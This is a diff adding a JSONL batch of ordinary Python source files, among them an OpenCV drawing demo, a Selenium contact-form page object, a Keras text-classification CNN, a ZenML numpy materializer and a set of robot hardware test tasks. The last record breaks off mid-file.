diff --git "a/1521.jsonl" "b/1521.jsonl" new file mode 100644--- /dev/null +++ "b/1521.jsonl" @@ -0,0 +1,704 @@ +{"seq_id":"130930731","text":"import numpy as np\r\nimport cv2\r\n\r\nimg = cv2.imread('watch.jpg',cv2.IMREAD_COLOR)\r\npts = np.array([[10,5],[20,30],[70,20],[50,10]], np.int32)\r\n# OpenCV documentation had this code, which reshapes the array to a 1 x 2. I did not \r\n# find this necessary, but you may:\r\n#pts = pts.reshape((-1,1,2))\r\ncv2.polylines(img, [pts], True, (0,255,255), 3)\r\n\r\ncv2.imshow('image',img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","sub_path":"OpenGLExample/ShapesOnImage/ShapesOnImage.py","file_name":"ShapesOnImage.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"290083075","text":"from framework.page import BasePage\nfrom selenium.webdriver.common.by import By\n\n\nclass ContactForm(BasePage):\n class Locators:\n BUTTONS_BELLOW_ARRAY = (By.XPATH, '//span[text()=\\'Добавить поле\\']')\n\n DELETE_JOB_TITLE_ARRAY = (By.XPATH, '//div[@data-for=\"job_title\"]//a[@title=\"Удалить\"]')\n DELETE_BOSS_ARRAY = (By.XPATH, '//div[@data-for=\"boss\"]//a[@title=\"Удалить\"]')\n DELETE_NICK_ARRAY = (By.XPATH, '//div[@data-for=\"nick\"]//a[@title=\"Удалить\"]')\n\n GENDERS_ARRAY = (By.XPATH, '//input[@name=\"sex\"]')\n ADD_PHONE_BUTTONS_ARRAY = (\n By.XPATH, '//div[@data-for=\"phones\"]//a[text()=\\'Добавить\\' and @class=\"form__row__subwidget_inline '\n 'form__row__subwidget__control pseudo-link js-add-subwidget\"]')\n ADD_EMAIL_BUTTONS_ARRAY = (By.XPATH,\n '//div[@class=\"form__row__subwidget form__row__subwidget_top-margin form__row__subwidget_first\"]//a[text('\n ')=\\'Добавить\\']')\n\n FIRSTNAME_EDIT_FORM = (By.NAME, 'firstname')\n LASTNAME_EDIT_FORM = (By.NAME, 'lastname')\n COMPANY_EDIT_FORM = (By.NAME, 'company')\n EMAILS_EDIT_FORM = (By.NAME, 'emails')\n FIRST_PHONE_EDIT_FORM = (By.ID, 'phones_0')\n\n SUBMIT_BUTTON = (By.XPATH, '//div[@data-name=\"submit\"]')\n RESET_BUTTON = (By.XPATH, '//div[@data-name=\"reset\"]')\n REMOVE_BUTTON = (By.XPATH, '//div[@data-name=\"remove\"]')\n\n @staticmethod\n def button_below_by_field_name(field_name: str):\n return (By.XPATH,\n f'//ul[@class=\"form__dropdown__list form__dropdown__list_limit filters__dropdown__menu js-menu\"]//a[text()=\\'{field_name}\\']')\n\n def choose_field_button_below(self, field_name):\n add_field_buttons = self.wait_for_all_elements(*self.Locators.BUTTONS_BELLOW_ARRAY)\n parent_element = add_field_buttons[0].find_element_by_xpath('..')\n parent_element.click()\n all_buttons = self.wait_for_all_elements(*self.Locators.button_below_by_field_name(field_name))\n # all_buttons[1].click()\n self.driver.execute_script(\"arguments[0].click();\", all_buttons[1])\n\n def add_another_field_by_input_name(self, name, new_field):\n email_input = self.wait_for_all_elements(By.NAME, name)\n email_input[-1].click()\n email_input[-1].clear()\n email_input[-1].send_keys(new_field)\n\n def click_submit_button(self):\n self.wait_for_clickable(*self.Locators.SUBMIT_BUTTON).click()\n\n def click_delete_button_job_title(self):\n delete_buttons = self.wait_for_all_elements(*self.Locators.DELETE_JOB_TITLE_ARRAY)\n delete_buttons[0].click()\n\n def click_delete_button_boss(self):\n delete_buttons = self.wait_for_all_elements(*self.Locators.DELETE_BOSS_ARRAY)\n delete_buttons[0].click()\n\n def click_delete_button_nick(self):\n delete_buttons = self.wait_for_all_elements(*self.Locators.DELETE_NICK_ARRAY)\n delete_buttons[0].click()\n\n def fill_contact(self, firstname, lastname, company, email, phone):\n if firstname:\n firstname_field = self.wait_for_visible(*self.Locators.FIRSTNAME_EDIT_FORM)\n firstname_field.clear()\n firstname_field.send_keys(firstname)\n if lastname:\n lastname_field = self.wait_for_visible(*self.Locators.LASTNAME_EDIT_FORM)\n lastname_field.clear()\n lastname_field.send_keys(lastname)\n if company:\n company_field = self.wait_for_visible(*self.Locators.COMPANY_EDIT_FORM)\n company_field.clear()\n company_field.send_keys(company)\n if email:\n email_field = self.wait_for_visible(*self.Locators.EMAILS_EDIT_FORM)\n email_field.clear()\n email_field.send_keys(email)\n if phone:\n phone_field = self.wait_for_visible(*self.Locators.FIRST_PHONE_EDIT_FORM)\n phone_field.clear()\n phone_field.send_keys(phone)\n\n def change_email(self, new_email):\n email_field = self.wait_for_visible(*self.Locators.EMAILS_EDIT_FORM)\n email_field.clear()\n email_field.send_keys(new_email)\n\n def change_firstname(self, new_firstname):\n firstname_field = self.wait_for_visible(*self.Locators.FIRSTNAME_EDIT_FORM)\n firstname_field.click()\n firstname_field.clear()\n firstname_field.send_keys(new_firstname)\n\n def click_add_phone_button(self):\n add_buttons = self.wait_for_all_elements(*self.Locators.ADD_PHONE_BUTTONS_ARRAY)\n add_buttons[0].click()\n\n def click_add_email_button(self):\n add_buttons = self.wait_for_all_elements(*self.Locators.ADD_EMAIL_BUTTONS_ARRAY)\n add_buttons[0].click()\n\n def click_male_gender(self):\n genders = self.wait_for_all_elements(*self.Locators.GENDERS_ARRAY)\n genders[0].click()\n # self.driver.execute_script(\"arguments[0].click();\", genders[0])\n\n def click_reset_button(self):\n self.wait_for_clickable(*self.Locators.RESET_BUTTON).click()\n\n def click_remove_button(self):\n self.wait_for_clickable(*self.Locators.REMOVE_BUTTON).click()","sub_path":"pages/address_book_page/contact_form.py","file_name":"contact_form.py","file_ext":"py","file_size_in_byte":5229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"586852920","text":"def fib_digit(n):\n a, b = 1, 1\n\n if n < 0:\n return 'Error'\n elif n == 0:\n return a\n elif n == 1:\n return b\n else:\n for i in range(2, n):\n c = a + b\n a, b = b, c % 10\n return b\n\n\ndef main():\n n = int(input())\n print(fib_digit(n))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/fibonacci/fibonacci_2.py","file_name":"fibonacci_2.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"192336967","text":"#Höfundur Einar Karl\n#Tímaverkefni 3. 21/11/2018\nval=\" \"\nimport random\nwhile val!=\"4\":\n#Valmynd\n print(\"1. Skrifa út tölurnar 10-99 í eina línu \")\n print(\"2. Vinna með tilviljanakenndar (random) tölur í lista \")\n print(\"3. Vinna með kennitölu\")\n print(\"4. Hætta\")\n val=input(\"Veldu 1-3 eða 4 til að hætta \")\n if val==\"1\":\n for x in range(10,100):\n print(x,end=\":\")#prentar allar tölur frá 10 upp í 99 og setur : á milli\n print()\n elif val==\"2\":\n randomlisti=[] #bý til tóman lista\n for x in range(300):\n tala=random.randint(170,699) #Tekur 300 handahófskenndar tölur á bilinu 170-699\n randomlisti.append(tala)\n print(randomlisti)\n medaltal=float(sum(randomlisti)/len(randomlisti))\n print(\"Meðaltal talna\",round(medaltal,3)) #Finnur meðaltal og endar með þrjár aukatölur\n tel=0 #Skilgreini teljara\n for tala in randomlisti:\n if tala==210:\n tel=tel+1 #bæti við einum í teljara ef talan 210 kemur fyrir\n print(\"Talan 210 er í listanum\",tel,\"skipti\")\n fjogurh=0#skilgreini fjögurhundrað til að finna það\n for tala in randomlisti:\n if tala >= 400:\n fjogurh=fjogurh+tala #bætir við tölu sem er stærri en 400 í hvert sinn (fæ þannig summu)\n print(\"Summa talna yfir 400 er\",fjogurh)\n elif val==\"3\":\n tel=0 #skilgreini teljara\n kennitala=input(\"Sláðu inn kennitölu: \")\n for tala in kennitala:\n if tala==\"1\":#Finnur töluna einn \n tel=tel+1\n print(\"Fjöldi 1 er:\",tel)\n print(\"Kennitala án 1:\",kennitala.replace(\"1\",\"#\"))#setur # í stað fyrir 1\n print(\"Afmælisdagur\",kennitala[0:2]+\".\"+kennitala[2:4]) #setur punkt á milli fyrstu fjóra\n elif val==\"4\":\n print(\"Ókei bæ\")\n else:\n print(\"Rangur Innsláttur\") #Kemur bara ef eitthvað annað en 1,2,3 eða 4 var skrifað\n \n","sub_path":"_site/Forritun/Forritun 1/tímaverkefni3.py","file_name":"tímaverkefni3.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"508139459","text":"import numpy as np\nimport os, time, argparse\n\nfrom scipy.spatial.distance import cdist\n\nimport ops, outFuncs\n\nparser = argparse.ArgumentParser(description=\"DeltaDescriptors\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n# task args\nparser.add_argument(\"--genDesc\",\"-gd\", action=\"store_true\", help=\"Use this flag to compute descriptors.\")\nparser.add_argument(\"--genMatch\", \"-gm\", action=\"store_true\", help=\"Use this flag to generate matches for a given pair of descriptors.\")\nparser.add_argument(\"--eval\", \"-e\", action=\"store_true\", help=\"Use this flag to evaluate match output.\")\n\n# path args\nparser.add_argument(\"--descFullPath1\", \"-ip1\", type=str, help=\"Path to the descriptor data file.\")\nparser.add_argument(\"--descFullPath2\", \"-ip2\", type=str, help=\"Path to the 'query' descriptor data file.\")\nparser.add_argument(\"--outPath\", \"-op\", type=str, default=\"./out/\",help=\"Path to store output.\")\nparser.add_argument(\"--matchOutputPath\", \"-mop\", type=str, help=\"Path to the match output.\")\nparser.add_argument(\"--cordsPath1\", \"-cp1\", type=str, help=\"Path to reference image co-ordinates.\")\nparser.add_argument(\"--cordsPath2\", \"-cp2\",type=str, help=\"Path to query image co-ordinates.\")\n\n# param args\nparser.add_argument(\"--seqLength\", \"-l\", type=int, default=16, help=\"Sequential span (in frames) to compute delta or smooth descriptors.\")\nparser.add_argument(\"--descOpType\", \"-d\", type=str, default=\"delta\", help=\"Descriptor type to compute.\", choices = [\"delta\",\"smooth\"])\n\n\ndef getFN(fullPath):\n return os.path.splitext(os.path.basename(fullPath))[0]\n\ndef main():\n opt = parser.parse_args()\n print(opt)\n \n if opt.genMatch and opt.descFullPath2 is None:\n raise Exception(\"For generating distance matrix, provide path to query descriptors as well.\")\n\n timeStamp = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime())\n outDir = os.path.join(opt.outPath,\"results_{}/\".format(timeStamp))\n if not os.path.exists(outDir):\n os.makedirs(outDir)\n print(\"Created output directory: \", outDir)\n\n if opt.genDesc or opt.genMatch:\n descData = []\n descR = np.load(opt.descFullPath1)\n descData += [descR]\n if opt.genMatch:\n descQ = np.load(opt.descFullPath2)\n descData += [descQ]\n\n if opt.genDesc:\n print(\"Computing Descriptors...\")\n descData = ops.performOps(descData,opt.descOpType,opt.seqLength)\n \n # store descriptors\n np.save( os.path.join(outDir, getFN(opt.descFullPath1) + \"_\" + opt.descOpType ), descData[0])\n if opt.genMatch:\n np.save( os.path.join(outDir, getFN(opt.descFullPath2) + \"_\" + opt.descOpType ), descData[1])\n\n if opt.genMatch:\n print(\"Generating Matches...\")\n dMat = cdist(descData[0],descData[1],\"cosine\")\n \n print(\"Distance Matrix Shape: \",dMat.shape)\n\n mInds = np.argmin(dMat,axis=0)\n mDists = dMat[mInds,np.arange(len(mInds))]\n \n # store match output \n np.savez(os.path.join(outDir,\"matchOutput.npz\"),matchInds=mInds,matchDists=mDists)\n outFuncs.saveDistMat(dMat,mInds,os.path.join(outDir,\"matchMat.jpg\"))\n\n if opt.eval:\n if opt.genMatch:\n resPath = os.path.join(outDir,\"matchOutput.npz\")\n else:\n resPath = opt.matchOutputPath\n pAt100R = outFuncs.evaluate(resPath,opt.cordsPath1,opt.cordsPath2)\n\n return\n\n\nif __name__ == \"__main__\":\n \n main()\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"58778814","text":"import sys\nimport pickle\nimport os\n\nimport numpy as np\nimport gensim\nimport pandas as pd \n\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import f1_score\nfrom keras.models import Model, load_model\nfrom keras.utils import np_utils\nfrom keras.models import Model\nfrom keras.layers import Conv2D, AveragePooling2D, MaxPooling2D, Activation, Flatten, Input, Dense, Dropout\nfrom keras.layers import Dense, Input, LSTM, Embedding, Dropout, Activation\nfrom keras.layers.merge import concatenate\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.preprocessing.text import text_to_word_sequence\n\nfrom sklearn.preprocessing import LabelEncoder\n\nfrom keras.layers import Reshape\n\n\nimport re\nfrom keras.preprocessing.text import Tokenizer\n\nimport warnings\nfrom operator import itemgetter \nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\n\nimport os\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nfrom tqdm import tqdm\nimport math\nfrom sklearn.model_selection import train_test_split\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom sklearn.model_selection import train_test_split\nimport os\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nfrom tqdm import tqdm\nimport math\nfrom sklearn.model_selection import train_test_split\n\n\n##\nLOWER_CASE = False \nDATA_DIR = 'data/'\nGoog_w2v = DATA_DIR+\"embeddings/GoogleNews-vectors-negative300/GoogleNews-vectors-negative300.bin\"\ndropout_prob=0.5\nN_EPOCHS = 200\nPREFIX=\"cnn_\"\nVALIDATION_SPLIT=0.001\n##\n\ndef process_text(text):\n text = re.sub(r\"\\'s\", \" is \", text) \n text = re.sub(r\"\\'s\", \" is \", text)\n text = re.sub(r\"\\'ve\", \" have \", text)\n return text\n## \nprint(os.listdir(DATA_DIR))\ntrain_df = pd.read_csv(DATA_DIR+\"train.csv\")\ntest_df = pd.read_csv(DATA_DIR+\"test.csv\")\n\nmodel_word_embed = gensim.models.KeyedVectors.load_word2vec_format(Goog_w2v,binary=True)\n \nSEQ_LEN_TR = len(max(train_df['question_text'], key=len).split())\nSEQ_LEN_TS = len(max(test_df['question_text'], key=len).split())\nSEQ_LEN = max(SEQ_LEN_TR,SEQ_LEN_TS)\nprint(\"SEQ_LEN:\",SEQ_LEN)\nassert SEQ_LEN == 45 \n\n##\ntrain_cat_list, train_text_list, train_questions = [], [], [] \ntest_text_list, test_questions = [], []\n\nfor i in range(len(train_df)):\n quest = train_df.loc[i,'question_text']\n train_questions.append(quest)\n train_cat_list.append(train_df.loc[i,'target'])\n train_text_list.append(text_to_word_sequence(process_text(quest),lower=LOWER_CASE))\n\nfor i in range(len(test_df)):\n quest = test_df.loc[i,'question_text']\n test_questions.append(quest)\n test_text_list.append(text_to_word_sequence(process_text(quest),lower=LOWER_CASE))\n \nassert len(train_cat_list) == len(train_text_list)\nassert len(train_cat_list) == len(train_questions)\nassert len(test_questions) == len(test_text_list)\n\nprint(\">> train_size:\",len(train_cat_list))\nprint(\">> train sample:\",train_cat_list[44] , train_text_list[44], train_questions[44])\nprint(\">> test_size:\",len(test_questions))\nprint(\">> test sample:\", test_text_list[44] , test_questions[44])\n\n##\ntokenizer = Tokenizer(num_words=None,char_level=False,lower=False)\ntokenizer.fit_on_texts(train_text_list + test_text_list) \nsequences_train = tokenizer.texts_to_sequences(train_text_list) # ... train , test .. \nsequences_test = tokenizer.texts_to_sequences(test_text_list) # ... train , test .. \ndata_train = pad_sequences(sequences_train, maxlen=SEQ_LEN,padding='post')\ndata_test = pad_sequences(sequences_test, maxlen=SEQ_LEN,padding='post')\nlabels = np.array(train_cat_list)\n\nnb_words = len(tokenizer.word_index)+1\n\nprint(\">> Number of words:\",nb_words)\nprint(\">> data_train:\",data_train.shape)\nprint(\">> train sample:\",sequences_train[44] , data_train[44] , train_text_list[44] , train_questions[44])\nprint(\">> data_test:\",data_test.shape)\nprint(\">> test sample:\",sequences_test[44] , data_test[44] , test_text_list[44] , test_questions[44])\n\n########################################\n## sample train/validation data\n########################################\nnp.random.seed(17)\nperm = np.random.permutation(len(data_train))\nidx_train = perm[:int(len(data_train)*(1-VALIDATION_SPLIT))]\nidx_val = perm[int(len(data_train)*(1-VALIDATION_SPLIT)):]\n\ndata_tr = data_train[idx_train]\ndata_val = data_train[idx_val]\nlabels_tr = labels[idx_train]\nlabels_val = labels[idx_val]\n\ndel data_train\n\n##\nembedding_matrix = np.zeros((nb_words, 300))\nprint('>>>>>>>>>>> OUT LOG:',file=open('out.log','w'))\nfor word, i in tokenizer.word_index.items():\n if word in model_word_embed.vocab:\n #print('IN:',word)\n embedding_matrix[i] = model_word_embed.word_vec(word)\n else:\n print('>>> OUT <<<:',word,file=open('out.log','a'))\nprint('Null word embeddings: %d' % np.sum(np.sum(embedding_matrix, axis=1) == 0))\n\n## Null word embeddings: 116,788 (LOWER_CASE = False)\n## Null word embeddings: 141,480 (LOWER_CASE = True) e.g. autria, gennifer\nEMBEDDING_DIM = len(embedding_matrix[1])\nprint(\"EMBEDDING_DIM:\",EMBEDDING_DIM)\n\n#### Model\nembedding_layer = Embedding(embedding_matrix.shape[0],EMBEDDING_DIM,weights=[embedding_matrix],input_length=SEQ_LEN,trainable=False)\nsequence_input = Input(shape=(SEQ_LEN,), dtype='int32')\nembedded_sequences = embedding_layer(sequence_input)\nembedded_sequences_rh = Reshape((SEQ_LEN,EMBEDDING_DIM,1))(embedded_sequences)\n\n### -------------------------- MAIN CAT\n# 2-gram\nconv_1 = Conv2D(500, (2, EMBEDDING_DIM), activation=\"relu\") (embedded_sequences_rh)\nmax_pool_1 = MaxPooling2D(pool_size=(SEQ_LEN-2, 1 ))(conv_1) # 30\n# 3-gram\nconv_2 = Conv2D(500, (3, EMBEDDING_DIM), activation=\"relu\") (embedded_sequences_rh)\nmax_pool_2 = MaxPooling2D(pool_size=(SEQ_LEN-3, 1 ))(conv_2) # 29\n# 4-gram\nconv_3 = Conv2D(500, (4, EMBEDDING_DIM), activation=\"relu\") (embedded_sequences_rh)\nmax_pool_3 = MaxPooling2D(pool_size=(SEQ_LEN-4, 1 ))(conv_3) # 28\n# 5-gram\nconv_4 = Conv2D(500, (5, EMBEDDING_DIM), activation=\"relu\") (embedded_sequences_rh)\nmax_pool_4 = MaxPooling2D(pool_size=(SEQ_LEN-5, 1))(conv_4) # 27\n# concat \nmerged = concatenate([max_pool_1, max_pool_2, max_pool_3,max_pool_4])\n#merged = Reshape((1,-1))(merged)\n#flatten = Attention_CNN(1)(merged)\nflatten = Flatten()(merged)\n# full-connect -- MAIN \nfull_conn = Dense(128, activation= 'tanh')(flatten)\ndropout_1 = Dropout(dropout_prob)(full_conn)\nfull_conn_2 = Dense(64, activation= 'tanh')(dropout_1)\ndropout_2 = Dropout(dropout_prob)(full_conn_2)\noutput = Dense(1, activation= 'sigmoid')(dropout_2) \nmodel = Model(sequence_input,output)\n\n########\nmodel.compile(optimizer= 'adam', loss='binary_crossentropy', metrics= ['accuracy'])\nmodel.summary()\nearlystopper = EarlyStopping(patience=20, verbose=1,monitor='val_acc',mode='max')\ncheckpointer = ModelCheckpoint(PREFIX+'model.h5', verbose=1, save_best_only=True,monitor='val_acc',mode='max')\nreduce_lr = ReduceLROnPlateau(factor=0.2, patience=5, min_lr=0.00001, verbose=1,monitor='val_acc',mode='max')\n\nresults = model.fit(data_tr,labels_tr,\n validation_data=[data_val,labels_val],\n batch_size=66, epochs=N_EPOCHS,\n callbacks=[earlystopper, checkpointer,reduce_lr])\n\n#learning_curve_df = plot_learn_curve(results,do_plot=False)\n#learning_curve_df.to_csv(PREFIX+'learning_curve.csv')\nprint(\">> TEST ...\")\nmodel = load_model(PREFIX+'model.h5')\nprint(\"> Sub category:\")\n\nth_best=0.35\nf1_best=0\nfor th in np.linspace(0.1,0.9,20).tolist():\n pred_val = model.predict(data_val)\n pred_val = (np.array(pred_val) > th).astype(np.int)\n f1 = f1_score(labels_val,pred_val)\n if f1 > f1_best:\n f1_best = f1\n th_best = th\nprint(\"f1_best:\",f1_best,\" --- th_best:\",th_best)\n\n###\npred = model.predict(data_test)\npred = (np.array(pred) > th_best).astype(np.int)\nsubmit_df = pd.DataFrame({\"qid\": test_df[\"qid\"], \"prediction\": np.squeeze(pred)})\nsubmit_df.to_csv(\"submission.csv\", index=False)","sub_path":"competitions/quora-insincere-questions-classification/cnn_GoogEmbed_2345-gram_128d_64d.py","file_name":"cnn_GoogEmbed_2345-gram_128d_64d.py","file_ext":"py","file_size_in_byte":8114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"647041241","text":"# Copyright (c) ZenML GmbH 2021. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at:\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n# or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n\nimport os\nfrom typing import Any, Type\n\nimport numpy as np\nimport pyarrow as pa\nimport pyarrow.parquet as pq\n\nfrom zenml.materializers.base_materializer import BaseMaterializer\nfrom zenml.utils import yaml_utils\n\nDATA_FILENAME = \"data.parquet\"\nSHAPE_FILENAME = \"shape.json\"\nDATA_VAR = \"data_var\"\n\n\nclass NumpyMaterializer(BaseMaterializer):\n \"\"\"Materializer to read data to and from pandas.\"\"\"\n\n ASSOCIATED_TYPES = [np.ndarray]\n\n def handle_input(self, data_type: Type[Any]) -> np.ndarray:\n \"\"\"Reads numpy array from parquet file.\"\"\"\n super().handle_input(data_type)\n shape_dict = yaml_utils.read_json(\n os.path.join(self.artifact.uri, SHAPE_FILENAME)\n )\n shape_tuple = tuple(shape_dict.values())\n data = pq.read_table(os.path.join(self.artifact.uri, DATA_FILENAME))\n vals = getattr(data.to_pandas(), DATA_VAR).values\n return np.reshape(vals, shape_tuple)\n\n def handle_return(self, arr: np.ndarray) -> None:\n \"\"\"Writes a np.ndarray to the artifact store as a parquet file.\n\n Args:\n arr: The numpy array to write.\n \"\"\"\n super().handle_return(arr)\n yaml_utils.write_json(\n os.path.join(self.artifact.uri, SHAPE_FILENAME),\n {str(i): x for i, x in enumerate(arr.shape)},\n )\n pa_table = pa.table({DATA_VAR: arr.flatten()})\n pq.write_table(pa_table, os.path.join(self.artifact.uri, DATA_FILENAME))\n","sub_path":"src/zenml/materializers/numpy_materializer.py","file_name":"numpy_materializer.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"515463216","text":"import logging\nimport cv2.cv2 as cv2\nfrom time import sleep\nfrom brain.tasks.sequencer import main_task\nfrom brain.tasks.sequencer import sub_task\nfrom brain.tasks.sequencer import sub_task_executor\nfrom brain.service_provider import ServiceProvider\nfrom blood import Color, Shape\n\nlogger = logging.getLogger(\"tasks.testing_tasks\")\n\n\n@main_task\ndef test_flash_led():\n robot_controller = ServiceProvider.get(\"RobotController\")\n\n for i in range(1, 10):\n logger.debug(\"turn LED on\")\n robot_controller.set_led(True)\n sleep(.5)\n logger.debug(\"turn LED off\")\n robot_controller.set_led(False)\n sleep(.5)\n\n\n@main_task\ndef test_all():\n sleep(5)\n robot = ServiceProvider.get(\"Robot\")\n robot.turn_towards(5000, 0)\n sleep(3)\n robot.go_to(200, 80)\n robot.turn_towards(0, 5000)\n sleep(3)\n robot.go_to(50, 50)\n sleep(3)\n\n\n@main_task\ndef test_movement():\n sleep(5)\n robot = ServiceProvider.get(\"Robot\")\n x, y = robot.position\n distance = 30\n\n robot.turn_towards(5000, 0)\n sleep(3)\n logger.debug(\"Move forward\")\n robot.go_to(x + distance, y)\n sleep(3)\n\n logger.debug(\"Move backward\")\n robot.go_to(x, y)\n sleep(3)\n\n logger.debug(\"Move left\")\n robot.go_to(x, y + distance)\n sleep(3)\n\n logger.debug(\"Move right\")\n robot.go_to(x, y)\n sleep(3)\n\n\n@main_task\ndef test_turn_towards():\n sleep(5)\n\n robot = ServiceProvider.get(\"Robot\")\n logger.debug(\"Rotate east\")\n robot.turn_towards(5000, 0)\n\n sleep(1)\n logger.debug(\"Rotate west\")\n robot.turn_towards(-5000, 0)\n\n sleep(1)\n logger.debug(\"Rotate south\")\n robot.turn_towards(0, 5000)\n\n sleep(1)\n logger.debug(\"Rotate north\")\n robot.turn_towards(0, -5000)\n\n\n@main_task\ndef test_camera():\n delay = 0.3\n robot = ServiceProvider.get(\"Robot\")\n robot.rotate_camera(-45, 0)\n sleep(delay)\n robot.rotate_camera(45, 0)\n sleep(delay)\n robot.rotate_camera(-45, 0)\n sleep(delay)\n robot.rotate_camera(45, 0)\n sleep(delay)\n robot.rotate_camera(0, -90)\n sleep(delay)\n robot.rotate_camera(0, 45)\n sleep(delay)\n robot.rotate_camera(0, -90)\n sleep(delay)\n robot.rotate_camera(0, 45)\n sleep(delay)\n robot.rotate_camera(-45, -90)\n sleep(delay)\n robot.rotate_camera(45, -90)\n sleep(delay)\n robot.rotate_camera(-45, -60)\n sleep(delay)\n robot.rotate_camera(45, -60)\n sleep(delay)\n robot.rotate_camera(-45, -30)\n sleep(delay)\n robot.rotate_camera(45, -30)\n sleep(delay)\n robot.rotate_camera(-45, 0)\n sleep(delay)\n robot.rotate_camera(45, 0)\n sleep(delay)\n robot.rotate_camera(-45, 45)\n sleep(delay)\n robot.rotate_camera(45, 45)\n sleep(delay)\n robot.rotate_camera(0, 0)\n sleep(delay)\n\n\n@main_task\ndef test_get_image():\n robot = ServiceProvider.get(\"Robot\")\n robot_controller = ServiceProvider.get(\"RobotController\")\n robot.rotate_camera(0, -70)\n sleep(1)\n\n c = 0\n capturing = True\n while capturing:\n image = robot_controller.get_image()\n cv2.imshow(\"im\", image)\n cv2.imwrite(\"./image_{}.png\".format(c), image)\n k = cv2.waitKey(0)\n c += 1\n if k % 256 == 27:\n capturing = False\n sleep(5)\n\n\n@main_task\ndef test_retrieve_token():\n sleep(5)\n locator = ServiceProvider.get('Locator')\n robot = ServiceProvider.get(\"Robot\")\n robot.rotate_camera(0, 0)\n x, y = locator.get_warehouse_center().values()\n robot.go_to(x, y + 25)\n sleep(1)\n robot.turn_towards(0, -10000)\n robot.rotate_camera(0, -90)\n robot_controller = ServiceProvider.get(\"RobotController\")\n robot_controller.get_image()\n sleep(5)\n\n\ndef capture_images():\n capturing = True\n while capturing:\n image = robot_controller.get_image()\n cv2.imshow(\"im\", image)\n k = cv2.waitKey(1)\n c += 1\n sleep(0.2)\n if k % 256 == 27:\n capturing = False\n\n\n@main_task\ndef test_sight():\n sleep(30)\n\n\n@main_task\ndef test_max_speed():\n robot = ServiceProvider.get(\"Robot\")\n robot_controller = ServiceProvider.get(\"RobotController\")\n sleep(5)\n robot.turn_towards(100000, -100000)\n sleep(1)\n robot_controller.move(1., -1.)\n sleep(4)\n robot_controller.freeze()\n robot_controller.move(-1., 1.)\n sleep(4)\n robot_controller.freeze()\n\n\n@main_task\ndef test_fix_point():\n sleep(5)\n robot = ServiceProvider.get(\"Robot\")\n robot.look_towards(0, 0)\n sleep(30)\n\n\n@main_task\ndef test_look_at():\n sleep(5)\n robot = ServiceProvider.get(\"Robot\")\n robot.turn_towards(0, 0)\n robot.look_towards(0, 0)\n robot.go_to(200, 50)\n robot.go_to(30, 80)\n sleep(20)\n robot.reset_view()\n sleep(1)\n\n\n@main_task\ndef test_identify_tokens():\n robot = ServiceProvider.get(\"Robot\")\n robot_controller = ServiceProvider.get(\"RobotController\")\n robot_image_processor = ServiceProvider.get(\"RobotImageProcessor\")\n robot.rotate_camera(0, -70)\n image = robot_controller.get_image()\n cv2.imshow(\"im\", image)\n k = cv2.waitKey(0)\n cv2.imwrite(\"./image_1.png\", image)\n tokens = robot_image_processor.find_tokens(image)\n robot.rotate_camera(0, 0)\n sleep(5)\n\n\n@main_task\ndef test_pickup():\n robot_controller = ServiceProvider.get(\"RobotController\")\n for i in range(5):\n robot_controller.take_token()\n sleep(2)\n robot_controller.drop_token()\n sleep(1)\n\n\n@main_task\ndef test_drop():\n robot_controller = ServiceProvider.get(\"RobotController\")\n for i in range(5):\n robot_controller.drop_token()\n\n\n@main_task\ndef test_move_slowly():\n robot = ServiceProvider.get(\"Robot\")\n robot.move_right(0.23, 1)\n robot.move_backward(0.23, 1)\n robot.move_left(0.23, 1)\n robot.move_forward(0.23, 1)\n\n\n@main_task\ndef test_get_power_level():\n sleep(60)\n\n\n@main_task\ndef test_switch_charge():\n sleep(3)\n robot_controller = ServiceProvider.get(\"RobotController\")\n\n while True:\n robot_controller.start_charging()\n sleep(5)\n robot_controller.stop_charging()\n sleep(5)\n\n\n@main_task\ndef test_stop_charge():\n robot_controller = ServiceProvider.get(\"RobotController\")\n\n robot_controller.stop_charging()\n\n\n@main_task\ndef test_start_charge():\n robot_controller = ServiceProvider.get(\"RobotController\")\n\n robot_controller.start_charging()\n\n\n@main_task\ndef test_reset_gripper():\n robot_controller = ServiceProvider.get(\"RobotController\")\n\n robot_controller.reset_gripper()\n","sub_path":"anesthetic/brain/tasks/testing_tasks.py","file_name":"testing_tasks.py","file_ext":"py","file_size_in_byte":6499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"492796381","text":"'''\nCreated on 2016-7-13\n\n@author: 